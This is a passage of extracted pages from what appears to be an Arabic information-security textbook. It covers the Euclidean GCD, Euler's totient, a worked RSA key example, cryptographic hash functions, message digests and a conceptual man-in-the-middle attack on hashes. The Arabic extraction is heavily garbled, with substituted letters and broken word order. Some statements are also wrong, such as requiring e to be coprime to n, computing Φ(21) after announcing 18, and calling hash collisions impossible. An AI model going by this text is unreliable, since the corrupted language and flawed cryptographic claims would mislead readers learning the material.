‫لعددين‬ (7253, 120) :
  • 348.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [348] ‫اخلانة‬ ‫يف‬ ‫ة‬َ‫سم‬‫الق‬ ‫باقي‬ ‫ووضع‬ ،‫األصغر‬ ‫العدد‬ ‫عىل‬ ‫ته‬َ‫سم‬‫ق‬ ‫ثم‬ ً‫ال‬‫أو‬ ‫األكرب‬ ‫العدد‬ ‫بوضع‬ ‫الطريقة‬ ‫تتلخص‬ R ، ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬ ‫اخلانة‬ َ ‫ت‬ َ ‫حت‬ ‫األصغر‬ ‫العدد‬ ‫َقل‬‫ن‬‫ب‬ A ‫ال‬ ‫َقل‬‫ن‬‫و‬ ، R ‫َة‬‫ن‬‫ا‬َ‫خل‬‫ا‬ َ ‫ت‬ َ ‫حت‬ ‫األول‬ B ‫ال‬ ‫ة‬َ‫سم‬‫ق‬ ‫م‬ُ‫ث‬ . 120 ‫ال‬ ‫عىل‬ 53 ً‫ة‬‫مر‬ ‫الباقي‬ ‫ووضع‬ ‫اخلانة‬ ‫حتت‬ ‫أطرى‬ R ..‫وذكذا‬ ‫الباقي‬ ‫ووضع‬ ‫القسمة‬ ‫ثم‬ ‫النقل‬ ‫عملية‬ ‫لجراء‬ ‫ثم‬ ، ‫لىل‬ ‫نصل‬ ‫أن‬ ‫لىل‬ ( 2 /1 = 2 ) ‫وذذا‬ ، ‫يع‬ ‫القسم‬ ‫بعد‬ ‫الباقي‬ ‫أن‬ ‫ني‬ !‫صفر‬ = ‫ة‬ . ‫ال‬ ‫قيكون‬ GCD ‫ال‬ ‫قيمة‬ ‫ذو‬ R ‫القيمة‬ ‫ذذه‬ ‫كانت‬ ‫قإن‬ ،ً‫ة‬‫بارش‬ُ‫م‬ ‫الصفر‬ ‫ق‬‫َسب‬‫ت‬ ‫التي‬ = 1 ، ‫العددان‬ ‫ذذان‬ ‫أن‬ ‫يعني‬ ‫قهذا‬ .‫أوليان‬ ..‫نعود‬‫ل‬ .‫أوليني‬ ‫عددين‬ ‫اطتيار‬ ‫ذي‬ ‫ططوة‬ ‫أول‬ ‫أن‬ ‫لنا‬ُ‫ق‬ ‫قيمة‬ ‫حساب‬ ‫ذي‬ ‫الثانية‬ ‫واخلطوة‬ n ، ‫حيث‬ n = p . q ‫ال‬ ‫ذذا‬ ‫ما‬ " n ‫؟‬.."
  • 349.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [349] ‫استخد‬ ‫سيتم‬ ‫عدد‬ ‫لنه‬ ‫امه‬ " ‫ل‬‫عام‬ُ‫كم‬ " ‫ال‬ ‫عادلة‬ُ‫م‬ ‫يف‬ ‫ل‬ ُ ‫دط‬َ‫ي‬ َ ‫س‬ ُ‫ه‬‫أن‬ ‫أي‬ ،‫التشفري‬ ‫قك‬ ‫وأثناء‬ ‫التشفري‬ ‫أثناء‬ Public Key ‫وال‬ ، Private Key .)..‫قليل‬ ‫بعد‬ ‫لليه‬ ‫(سنأيت‬ . ‫والثالث‬ ‫ة‬ ‫ال‬ ‫حساب‬ ‫ذي‬ “Euler’s totient function, Φ(n)” ‫الصحيح‬ ‫األعداد‬ ‫عدد‬ ‫أهنا‬ ‫عىل‬ ‫تعريفها‬ ‫ويتم‬ ‫ة‬ ‫العدد‬ ‫عن‬ ‫تقل‬ ‫التي‬ ‫املوجبة‬ n ، :‫الرشط‬ ‫ذذا‬ ‫قق‬ ُ ‫وحت‬ “they should be relatively prime to n” :‫مثال‬ ‫نأطذ‬ ‫دعنا‬ ‫ة‬َ‫يم‬‫ق‬ ‫ساب‬‫ح‬ ‫ُريد‬‫ن‬ Φ(29) ‫دد‬َ‫ع‬‫ال‬ ‫أن‬ ‫ام‬‫ب‬ 29 ..‫أويل‬ ‫د‬َ‫د‬َ‫ع‬ :‫أن‬‫ب‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ..ً‫ا‬‫لذ‬ Φ(29) = 28 :‫أنه‬ ‫بعنى‬ ، Φ(n) = n – 1 !‫األولية‬ ‫لألعداد‬ ‫ققط‬ ‫وذذا‬ ‫أن‬ ‫ام‬‫وب‬ Φ(n) ‫يف‬ ‫كانت‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫األساس‬ Φ(p, q) ، :‫أن‬‫ب‬ ‫القول‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬ Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) :‫ثال‬‫م‬ ‫ذ‬ ُ ‫َأط‬‫ن‬‫ل‬ ‫يا‬َ‫ذ‬
  • 350.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [350] ‫العدد‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬ 15 .. ‫أن‬ ‫باألعىل‬ ‫اجلدول‬ ‫نا‬ُ‫رب‬ ُ ‫خي‬ Φ(15) = 8 ‫أن‬ ‫الحظ‬ ، 15 ‫نا‬ُ‫ذ‬ ‫َقول‬‫ن‬ ‫قال‬ ،ً‫ا‬‫أولي‬ ً‫ا‬‫عدد‬ ‫ليس‬ Φ(15) = 14 . ‫ال‬ ‫هلذا‬ ‫ُريد‬‫ن‬ 15 ‫أن‬ ‫ح‬ ‫يكون‬ ‫لعددي‬ ‫َضب‬ ‫اصل‬ ‫املعادلة‬ ‫رشط‬ ‫ُحقق‬‫ن‬ ‫كي‬ ‫أوليني‬ ‫ن‬ . ‫ِبم‬ َ ‫َض‬ ‫ل‬‫حاص‬ ِّ ‫أوليني‬ ‫عددين‬ ‫أي‬ ‫لنختار‬ ‫ذيا‬ = 15 ‫دد‬َ‫ع‬‫ال‬ ‫أن‬ ‫د‬‫َج‬‫ن‬ 3 ‫د‬َ‫د‬َ‫ع‬‫وال‬ 5 ‫ِبم‬ َ ‫َض‬ ‫ل‬‫وحاص‬ ِّ ‫أوليني‬ ‫ين‬َ‫د‬َ‫د‬َ‫ع‬ = 15 .ً‫ا‬‫أيض‬ :‫املعادلة‬ ‫ُطبق‬‫ن‬‫ل‬ Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) Φ(15) = Φ(5, 3) = (5 – 1) * (3 – 1) = 4 * 2 = 8 ُ‫ُريد‬‫ت‬ ‫أنك‬ ‫يبدو‬ ً‫ال‬‫ثا‬‫م‬ :!‫أس‬َ‫ب‬ ‫ال‬ ..‫آطر‬ ‫العدد‬ ‫سأطتار‬ ‫يل‬ ‫ل‬ُ‫ق‬‫ت‬ ‫ال‬ 25 ‫السبب؟‬ ‫تعرف‬ ‫ذل‬ .. ‫ال‬ ‫يكون‬ َ ‫س‬ ‫احلالة‬ ‫ذذه‬ ‫يف‬ ‫ألن‬ p = 5 ‫وال‬ ، q = 5 .!‫فني‬‫تل‬ ُ ‫ُم‬ ‫كونا‬َ‫ي‬ ‫أن‬ ‫يف‬ ‫ط‬ َ ‫للرش‬ ‫ف‬‫ال‬ ُ ‫ُم‬ ‫وذذا‬ ،ً‫ا‬‫أيض‬
  • 351.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [351] ‫العدد‬ ‫ُجرب‬‫ن‬‫ل‬ 18 .. Φ(21) = Φ(7, 3) = (7 – 1) * (3 – 1) = 6 * 2 = 12 ‫أن‬ ‫أظن‬ ‫نا‬ ‫قهم‬ ‫قد‬ ‫نا‬ .!ً‫ا‬‫جيد‬ ‫السابقة‬ ‫اخلطوات‬ ‫ال‬ ‫عىل‬ ‫حصولنا‬ ‫وبعد‬ ‫واآلن‬ Φ(n) ‫باطتيار‬ ‫سنقوم‬ ، ‫العدد‬ (e) ، ‫بحيث‬ :‫م‬ُ‫ذ‬ ‫رشطني‬ ‫قق‬ ُ ‫حي‬ - ‫العدد‬ ‫عن‬ ‫العدد‬ ‫ذذا‬ ‫يقل‬ ‫أن‬ Φ(n) - ‫ال‬ ‫من‬ ً‫ال‬ُ‫ك‬ ‫يكون‬ ‫أن‬ ( e ) ‫وال‬ Φ(n) ،!‫بينهام‬ ‫قيام‬ ‫أوليني‬ ‫ذذا؟‬ ‫كيف‬ َ‫ت‬‫َع‬‫ن‬ َ ‫س‬ ..ً‫ا‬‫حسن‬ ‫ال‬ ‫أن‬ ‫رب‬ Φ(n) = 160 ‫ال‬ ‫من‬ ‫أقل‬ ‫عشوائي‬ ‫عدد‬ ‫باطتيار‬ ‫قنقوم‬ .. 160 . ‫العدد‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫س‬ 7 .‫املثال‬ ‫سبيل‬ ‫عىل‬ ‫ال‬ ‫باستخدام‬ “Euclidean Algorithm” :‫ييل‬ ‫كام‬ ‫العددين‬ ‫الطتبار‬ GCD (160, 7) ‫ال‬ ‫أن‬ ‫د‬‫َج‬‫ن‬ GCD = 1 . ‫ال‬ ‫ِبذا‬ ‫سنفعل‬ ‫ماذا‬ ‫ولكن‬ ..‫جيد‬ ‫ذذا‬ (e) ‫؟‬.. ‫عادل‬ُ‫م‬ ‫يف‬ ُ‫ه‬‫م‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ :‫ييل‬ ‫كام‬ ‫التشفري‬ ‫ة‬ ‫ذي‬ ‫تشفريذا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ M ، ‫ستكون‬ ‫شفرة‬ُ‫مل‬‫ا‬ ‫والرسالة‬ C ، :‫املعادلة‬ ‫قتكون‬
  • 352.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [352] ‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬ (n) .. ‫؟‬ .!‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬ ُ‫ه‬‫م‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ ‫أننا‬ َ‫وأطربناك‬ ‫الثانية‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫يف‬ ُ‫ه‬‫ن‬َ‫ع‬ ‫تكلمنا‬ ‫ال‬ ‫ألن‬ ‫وذذا‬ plaintext ‫س‬ ‫الذي‬ ‫ذيئة‬ ‫عىل‬ ُ‫ه‬‫لرسال‬ ‫جري‬َ‫ي‬ َ ‫س‬ ‫تشفريه‬ ‫يتم‬ (Blocks) ، ‫كل‬ block ‫ل‬‫حم‬َ‫ي‬ َ ‫س‬ Binary value ‫العدد‬ ‫ذذا‬ ‫من‬ ‫أقل‬ (n) ‫ال‬ ‫ذذا‬ ‫أن‬ ‫بمعنى‬ ، ciphertext ‫وال‬ ‫الصفر‬ ‫بني‬ ‫قيمته‬ ‫ستكون‬ (n – 1) . ‫ال‬ ‫ذذا‬ ،‫حال‬ ‫أي‬ ‫وعىل‬ n ‫عن‬ ‫قيمته‬ ‫تزيد‬ ‫لن‬ (2^1024) ، " ‫مرقوع‬ ‫لثنني‬ ‫ة‬ ‫س‬ُ‫أل‬‫ل‬ 1024 " . ‫الك‬ ‫ذذا‬ ‫عىل‬ ً‫ء‬‫نا‬‫ب‬ :‫اآليت‬ ‫نا‬َ‫ل‬ ً‫ا‬‫واضح‬ ‫يبدوا‬ ..‫الم‬ 1 . ‫العدد‬ ‫أن‬ n ‫ال‬ ‫من‬ ٍ‫لكل‬ ً‫ا‬‫معروق‬ ‫يكون‬ ‫أن‬ ‫البد‬ Sender ‫وال‬ Receiver . 2 . ‫العدد‬ ‫وأن‬ e ‫ال‬ ‫ل‬ِّ‫ث‬‫م‬ُ‫ي‬‫س‬ ‫قهذا‬ ،‫ل‬‫رس‬ُ‫للم‬ ً‫ا‬‫معروق‬ Public Key .‫للتشفري‬ ‫سيستخدمه‬ ‫الذي‬ ‫ال‬ ‫ذذا‬ Key ‫عطيه‬ُ‫ي‬‫س‬ ‫الذي‬ .‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫لياه‬ 3 . ‫والعدد‬ d ‫سيكون‬ ‫ذذا‬ ،‫ل‬‫ستقب‬ُ‫للم‬ ً‫ا‬‫معروق‬ ‫ال‬ Private Key .‫رة‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫ك‬َ‫ق‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الصفح‬ ‫يف‬ ‫ة‬ ‫التالي‬ ‫ة‬ :‫السابقة‬ ‫اخلطوات‬ ‫مجيع‬ ‫يوضح‬ ‫حتلييل‬ ‫شكل‬
  • 353.
  • 354.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [354] ..‫الشكل‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫ال‬ ‫يبدأ‬ Generator ‫ال‬ ‫بإنتاج‬ e ‫وال‬ p ‫وال‬ q ‫ال‬ ‫حساب‬ ‫يتم‬ ‫ثم‬ ، n ، ‫ذذا‬ ‫ولرسال‬ ‫ال‬ e ‫وال‬ n ‫شفرة‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫لرسال‬ ‫ريد‬ُ‫ي‬ ‫الذي‬ ‫للشخص‬ ‫ال‬ ‫لنتاج‬ ‫معادلة‬ ‫يف‬ ‫استخدامهم‬ ‫يتم‬ ‫حيث‬ ،‫لليه‬ Ciphrtext ‫كام‬ .‫الثانية‬ ‫اخلطوة‬ ‫يف‬ ‫ترى‬ ‫م‬ُ‫ث‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫الثالثة‬ ‫ال‬ ‫قيها‬ ‫يقوم‬ Sender ‫ال‬ ‫َجهيز‬‫ت‬‫ب‬ plaintext .‫ولرساله‬ ُ‫ه‬‫تشفري‬ ‫راد‬ُ‫مل‬‫ا‬ .‫التشفري‬ ‫يف‬ ‫بل‬َ‫ق‬ ‫ن‬‫م‬ َ ‫ك‬َ‫ل‬ ‫ا‬ ُ ‫كرهت‬َ‫ذ‬ ‫التي‬ ‫املعادلة‬ ‫استخدام‬ ‫يتم‬ ‫اخلامسة‬ ‫اخلطوة‬ ‫ويف‬ ‫يف‬ ‫ثم‬ ‫ال‬ ‫جتهيز‬ ‫يتم‬ ‫السادسة‬ ‫اخلطوة‬ private key ‫ال‬ ‫سيستخدمه‬ ‫الذي‬ Receiver ‫الرسالة‬ ‫قك‬ ‫أجل‬ ‫من‬ ‫ال‬ ‫قيها‬ ‫يدطل‬ ‫التي‬ ‫الثانية‬ ‫املعادلة‬ ‫باستخدام‬ ‫شفرة‬ُ‫مل‬‫ا‬ (d) . ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫حصلت‬ ‫كيف‬ ‫يل‬ ‫ل‬ُ‫ق‬‫ت‬ ‫مل‬ ‫ولكن‬ (d) ‫؟‬.. ‫ذذا‬ ‫به‬ ‫سنختم‬ ‫والذي‬ ،‫التايل‬ ‫املثال‬ ‫يف‬ ‫عليه‬ ‫نحصل‬ ‫كيف‬ ‫سأطربك‬ ..!‫صحيح‬ ‫ذذا‬ ‫ال‬ “RSA” . ‫األوليني‬ ‫العددين‬ ‫باطتيار‬ ‫سنقوم‬ :ً‫ال‬‫أو‬ ، p = 17, and q = 11 ‫ال‬ ‫بحساب‬ ‫سنقوم‬ :ً‫ا‬‫ثاني‬ n ( ، n = p * q = 187 ) ً‫ا‬‫لذ‬.. ( (n = 187 ‫بحساب‬ ‫سنقوم‬ :ً‫ا‬‫ثالث‬ Φ(n) :‫النحو‬ ‫ذذا‬ ‫عىل‬ Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) = 16 * 10 = 160
  • 355.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [355] ‫سنختار‬ :ً‫ا‬‫رابع‬ ‫العدد‬ e .ً‫ا‬‫سابق‬ ‫املذكورين‬ ‫الرشطني‬ ‫ق‬ِّ‫ق‬َ ُ ‫حي‬ ‫بحيث‬ e is relatively prime to n, and e is less than Φ(n). then.. e is (7) ‫طو‬ُ‫خل‬‫ا‬ ‫ذذه‬ :ً‫ا‬‫طامس‬ ‫ة‬ ‫العدد‬ ‫تحديد‬‫ل‬ (d) ‫ال‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫والذي‬ ، Private Key .‫ة‬ َ‫ر‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫ك‬َ‫ق‬ ‫يف‬ ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ :‫املعادلة‬ ‫ذذه‬ ‫باستخدام‬ ‫عليه‬ ‫ل‬ ُ ‫نحص‬ (ed – 1) mod (p – 1)(q – 1) = 0 e * d = Φ(n) + 1 7 * d = 160 + 1 d = 161 / 7 = 23 ‫ال‬ ‫اآلطر‬ ‫الطرف‬ ‫بإعطاء‬ ‫سنقوم‬ :ً‫ا‬‫سادس‬ Public Key ‫ال‬ ‫وذو‬ (e) ، ‫بال‬ ‫باالحتفاظ‬ ‫وسنقوم‬ Private Key ‫ققط‬ ‫لنا‬ ‫ال‬ ‫وذو‬ (d) . ً‫ا‬‫سابع‬ ‫ال‬ ‫يقوم‬ : Sender ‫وذي‬ ‫الرسالة‬ ‫بتشفري‬ (88) ‫وي‬ ،‫ولرساهلا‬ ‫ال‬ ‫قوم‬ Receiver ‫تشفريذا‬ ‫وقك‬ ‫باستقباهلا‬ :‫املعادالت‬ ‫ذذه‬ ‫باستخدام‬ :‫النحو‬ ‫ذذا‬ ‫وعىل‬
  • 356.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [356] ‫ال‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ RSA . Cryptographic Hash Functions ‫ال‬ ‫ماذذا‬ “Hash Function” ‫؟‬.. ‫لهنا‬ Function ‫ُسميها‬‫ن‬ (H) ‫تأطذ‬ ، input ‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬ ‫النص‬ ‫وذو‬ (M) ‫ب‬ ‫لتقوم‬ ، ‫إنتاج‬ output ‫ثابت‬ ‫بحجم‬ : “Fixed-size hash value” ‫ُسميه‬‫ن‬‫س‬ (h) . :‫املعادلة‬ ‫ذذه‬ ‫كتابة‬ ‫ُعيد‬‫ن‬‫ل‬ ‫ذيا‬ h = H(M)
  • 357.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [357] ‫ال‬ ‫ذذه‬ Hash function ‫النص‬ ‫عىل‬ ُ‫ه‬‫لجراؤ‬ ‫م‬‫ت‬َ‫ي‬ ‫َغيري‬‫ت‬ ‫قأي‬ ،‫عالية‬ ‫ة‬ َ‫ج‬َ‫ر‬َ‫د‬‫ب‬ ‫ة‬ َ ‫اس‬ ّ ‫حس‬ (M) ‫ال‬ ‫يف‬ ُ‫ه‬‫ل‬ ‫ل‬‫قاب‬ُ‫م‬ ‫تغيري‬ ‫لىل‬ ‫ؤدي‬ُ‫ي‬ ، Hash Code . ‫الر‬ ‫اخلاصية‬ ‫ذي‬ ‫ذذه‬ ‫ال‬ ‫ِبا‬ ‫تتميز‬ ‫التي‬ ‫ئيسية‬ Hash Functions . ‫اخلاصي‬ ‫ذذه‬ ‫من‬ ‫سنستفيد‬ ‫وماذا‬ ‫ة‬ ‫؟‬ .!‫رحلته‬ ‫أثناء‬ ‫تعديل‬ ‫ألي‬ ‫يتعرض‬ ‫مل‬ ‫لرساله‬ ‫جيري‬ ‫الذي‬ ‫امللف‬ ‫أو‬ ‫النص‬ ‫أن‬ ‫من‬ ‫التأكد‬ ‫يف‬ ‫منها‬ ‫نستفيد‬ ‫يبدو‬ ‫الكالم‬ ‫ذذا‬ ‫كذلك؟‬ ‫أليس‬ ،!َ‫ا‬‫مألوق‬
  • 358.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [358] ‫ال‬ ‫تعريف‬ ‫تتذكر‬ ‫ذل‬ “Data Integrity” ‫به‬ ‫ك‬ ُ‫ِّر‬‫ك‬‫ذ‬ُ‫أ‬ ‫دعني‬.. ‫؟‬ : Integrity Assures that messages are received as sent with no duplication, insertion, modification, reordering, or replay. ‫ال‬ ‫قائدة‬ ‫عرقت‬ ‫ذل‬ ‫واآلن‬ “Cryptographic Hash Functions” ‫؟‬ ‫ال‬ ‫حتقيق‬ ‫وسائل‬ ‫أحد‬ ‫لهنا‬ Data Integrity . ‫لل‬ ‫األساسية‬ ‫السامت‬ ‫بعض‬ ‫توجد‬ Cryptographic Hash Functions :  ‫ال‬ ‫أن‬ ‫األوىل‬ input ‫ال‬ ‫أن‬ ‫أي‬ ،‫ثابت‬ ‫غري‬ input length .‫تغري‬ُ‫م‬  ‫ال‬ ‫أن‬ ‫والثانية‬ output ‫سيكون‬ Fixed-Size .  ‫والثالث‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫أن‬ Hash Function ‫َرب‬‫ت‬‫ُع‬‫ت‬ “One-way function” ‫أنه‬ ‫يعني‬ ‫وذذا‬ ، ‫ال‬ ‫ة‬َ‫ق‬‫عر‬َ‫م‬ ‫ة‬ّ‫د‬‫ش‬‫ب‬ ‫ب‬ُ‫ع‬‫ص‬َ‫ي‬ input ‫ال‬ ‫عىل‬ ‫اإلطالع‬ ‫الل‬‫ط‬ ‫ن‬‫م‬ output .!  ‫بأهنا‬ ‫زذا‬ُّ‫ي‬َ َ‫مت‬ ‫يف‬ ‫والرابعة‬ “Collision free” ‫أي‬ ‫بني‬ ‫ق‬ُ‫ب‬‫َطا‬‫ت‬ ‫حدوث‬ ‫املستحيل‬ ‫من‬ ‫أنه‬ ‫بمعنى‬ ، hash values . “it is incredibly difficult to find two pieces of data that hash to the same value, and the chances of it happening by accident are almost 0”. Message Authentication ‫ال‬ ‫د‬َ‫ع‬ُ‫ت‬ Message Authentication ‫ال‬ ‫تطبيقات‬ ‫أحد‬ “Hash Function” . ‫ال‬ ‫من‬ ‫للتأكد‬ ‫ُستخدم‬‫ت‬ ُ ‫حيث‬ integrity ‫ال‬ ‫باستخدام‬ ‫َقوم‬‫ن‬ ‫ما‬َ‫ند‬‫وع‬ ،‫لرساهلا‬ ‫يتم‬ ‫التي‬ ‫البيانات‬ ‫أو‬ ‫بالرسالة‬ ‫اخلاصة‬ Hash Function ‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ ،‫ض‬َ‫ر‬َ‫غ‬‫ال‬ ‫ذا‬‫هل‬ “Message Digest” .
  • 359.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [359] ‫ال‬ ‫تعريف‬ ‫ذو‬ ‫قام‬ “Message Digest” ‫؟‬.. “Is the action of generating a unique output value derived from the content of the message” ‫ال‬ ‫ذذا‬ ‫لىل‬ ‫تتحول‬ ‫لن‬ ‫الرسالة‬ ‫أن‬ ‫ظ‬‫الح‬ hash value ..‫ذي‬ ‫كام‬ ‫الرسالة‬ ‫ستظل‬ ،! ‫ل‬‫ث‬‫م‬ ‫يشء‬ ‫لضاقة‬ ‫ققط‬ ‫سيتم‬ notepad ‫الرسال‬ ‫مع‬ ‫ة‬ ‫ذذ‬ ‫ِبا‬ ‫ال‬ ‫ا‬ hash value . ‫ال‬ ‫نفس‬ ‫بتطبيق‬ ‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫ويقوم‬ Hash Function ‫ُج‬‫ت‬‫قين‬ ،‫الرسالة‬ ‫عىل‬ hash value ‫أتى‬ ‫الذي‬ ‫بذلك‬ ‫قارنته‬ُ‫بم‬ ‫يقوم‬ ، .‫أجزائه‬ ‫ألحد‬ ‫ضياع‬ ‫أو‬ ‫حذف‬ ‫أو‬ ‫تعديل‬ ‫أي‬ ‫من‬ ‫امللف‬ ‫أو‬ ‫الرسالة‬ ‫ذذه‬ ‫سالمة‬ ‫عىل‬ ‫دليل‬ ‫قهذا‬ ،‫تشاِبا‬ ‫قإن‬ ،‫الرسالة‬ ‫مع‬ ‫الرسا‬ ‫ذذه‬ ‫ض‬ ُّ‫ر‬َ‫ع‬َ‫ت‬ ‫ُمكن‬ ‫ذل‬ ‫لل‬ ‫لة‬ “Man in the middle attack” ‫؟‬.. ..!‫بالطبع‬ ‫ُمكن‬ ‫ذذا‬
  • 360.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [360] ‫ذلك؟‬ ‫كيف‬ ‫ال‬ ‫لىل‬ ‫وصوهلا‬ ‫قبل‬ ‫بالرسالة‬ ‫اإلمساك‬ ‫من‬ ‫أحدذم‬ ‫يتمكن‬ ‫بأن‬ receiver ‫ال‬ ‫بتطبيق‬ ‫يقوم‬ ‫ثم‬ ‫عليها‬ ‫لع‬‫ط‬َ‫ي‬َ‫ق‬ ، MD5 ً‫ال‬‫مث‬ ‫ال‬ ‫واستبدال‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫عليها‬ hash value ‫ا‬ ‫لىل‬ ‫لرساهلا‬ ‫لعادة‬ ‫م‬ُ‫ث‬ ،‫اجلديدة‬ ‫ِبذه‬ ‫القديمة‬ ‫ل‬ receiver .! ‫ذذا‬ ‫يتم‬ ‫كيف‬ ‫أرين‬ MITM ‫؟‬..
  • 361.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [361] ‫اهلجامت؟‬ ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫ّب‬‫ن‬َ‫َج‬‫ت‬َ‫ن‬ ‫وكيف‬ ‫ال‬ ‫مع‬ ‫الرسالة‬ ‫بإرسال‬ ‫لنقوم‬ ‫آمنة‬ ‫لطريقة‬ ‫نا‬ُ‫ذ‬ ‫سنحتاج‬ hash value .‫اآلطر‬ ‫الطرف‬ ‫لىل‬ :‫األوىل‬ ‫الطريقة‬ ‫باستخدام‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬ “Symmetric Algorithm” ‫البيانا‬ ‫لتشفري‬ ‫لىل‬ ‫لرساهلا‬ ‫ل‬‫ب‬َ‫ق‬ ‫ت‬ ‫اآلطر‬ ‫الطرف‬ ، ‫البيانات‬ ‫ذذه‬ ‫ال‬ + ‫(الرسالة‬ :‫ستكون‬ hash value .) ‫وال‬ ‫الرسالة‬ ‫عىل‬ ‫ل‬ ُ ‫حص‬َ‫ي‬‫ل‬ ‫الشفرة‬ ‫ك‬َ‫ف‬‫ب‬ ‫اآلطر‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫سيقوم‬ ،‫وصوهلا‬ ‫وعند‬ hash file . ‫ال‬ ‫تطبيق‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬ Hash Function ‫ال‬ ‫قارن‬ُ‫ي‬‫و‬ ‫الرسالة‬ ‫عىل‬ hash value .‫الرسالة‬ ‫مع‬ ‫القادمة‬ ‫تلك‬‫ب‬ ‫ة‬‫الناجت‬ ‫الطريق‬ :‫الثانية‬ ‫ة‬
  • 362.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [362] ‫ال‬ ‫باستخدام‬ ‫سنقوم‬ ‫نا‬ُ‫ذ‬ “Symmetric Encryption” ‫ال‬ ‫لتشفري‬ hash code ‫ألي‬ ‫ه‬‫ض‬ ُّ‫َعر‬‫ت‬ ‫م‬َ‫عَد‬ ‫ن‬َ‫َضم‬‫ن‬‫ل‬ ،!‫ققط‬ ‫وال‬ ‫الرسالة‬ ‫عىل‬ ‫ل‬ ُ ‫حص‬َ‫ي‬‫ل‬ ‫التشفري‬ ‫فك‬‫ب‬ ‫اآلطر‬ ‫الطرف‬ ‫يقوم‬ َ ‫س‬ ،‫البيانات‬ ‫وصول‬ ‫ند‬‫وع‬ .‫َعديل‬‫ت‬ hash file ‫َفس‬‫ن‬‫ب‬ ‫قوم‬َ‫ي‬َ‫ق‬ ، ‫ال‬ َ ‫س‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫للتأ‬ ً‫ا‬‫أيض‬ ‫اإلجراء‬ .‫الرسالة‬ ‫مة‬ ‫الثالث‬ ‫الطريقة‬ ‫ة‬ : ‫ظهور‬ ‫نالحظ‬ Input ‫ال‬ ‫مع‬ ‫سيدطل‬ ‫جديد‬ Hash Function ‫ال‬ ‫لنتاج‬ ‫أثناء‬ hash value ‫ال‬ ‫وذو‬ ، (S) ‫ذو‬ ‫احلرف‬ ‫ذذا‬ ، ‫لكلمة‬ ‫اطتصار‬ “Salt” . ‫ال‬ ‫ماذذا‬ “Salt” ‫؟‬.. ‫ن‬َ‫ع‬ ‫بارة‬‫ع‬ ُ‫ه‬‫لن‬ Random data 